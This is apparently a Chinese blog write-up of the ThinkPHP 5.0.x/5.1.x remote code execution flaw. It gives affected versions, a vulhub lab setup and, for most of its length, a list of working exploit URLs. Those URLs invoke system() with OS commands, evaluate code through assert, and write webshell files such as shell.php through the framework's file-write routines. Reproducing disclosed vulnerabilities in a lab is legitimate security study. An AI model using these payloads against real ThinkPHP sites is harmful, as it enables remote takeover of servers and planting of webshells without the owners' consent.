ThinkPHP——ThinkPHP 5.x远程代码执行

0x00目录

  • 漏洞简介
  • 影响版本
  • 复现前提
  • 复现环境
  • 复现过程
  • 总结
  • 参考链接

0x01漏洞简介

ThinkPHP 5.x版本存在远程代码执行漏洞,高危,可被getshell。

0x02 影响版本

5.0.x版本:5.0.8~5.0.23
5.1.x版本:5.1.29(本次使用5.1.0版本也复现成功)

0x03 复现前提

5.0.8~5.0.12版本不需要开启debug模式
5.0.13~5.0.23复现前要保证开启了debug模式(默认是关闭的)

0x04 复现环境

5.0.x环境使用5.0.22版本,环境使用docker进行搭建。
环境地址:https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

5.1.x环境使用5.1.0版本。
环境源码下载地址:https://www.php.cn/xiazai/code/4475

0x05 复现过程

5.0.22版本:
payload:http://127.0.0.1/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
截图:

5.1.0版本:
payload:http://127.0.0.1/ThinkPHP5.1.0/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
截图:

0x06 总结

5.0.x PHP版本>=5.4

//payload:
http://127.0.0.1/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=

http://127.0.0.1/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=

http://127.0.0.1/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'\'>zxc2.php

http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

5.1.x PHP版本>5.5

//payload:
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

//写入文件
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=

http://127.0.0.1/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1

http://127.0.0.1/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系统命令

http://127.0.0.1/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://127.0.0.1/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

http://127.0.0.1/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

0x07 参考链接

1.thinkphp 5.x全版本任意代码执行分析全记录
2.ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
3.thinkphp5.0和5.1 rce poc总结
4.ThinkPHP 5.0 * 远程代码执行漏洞简略分析

你可能感兴趣的:(ThinkPHP——ThinkPHP 5.x远程代码执行)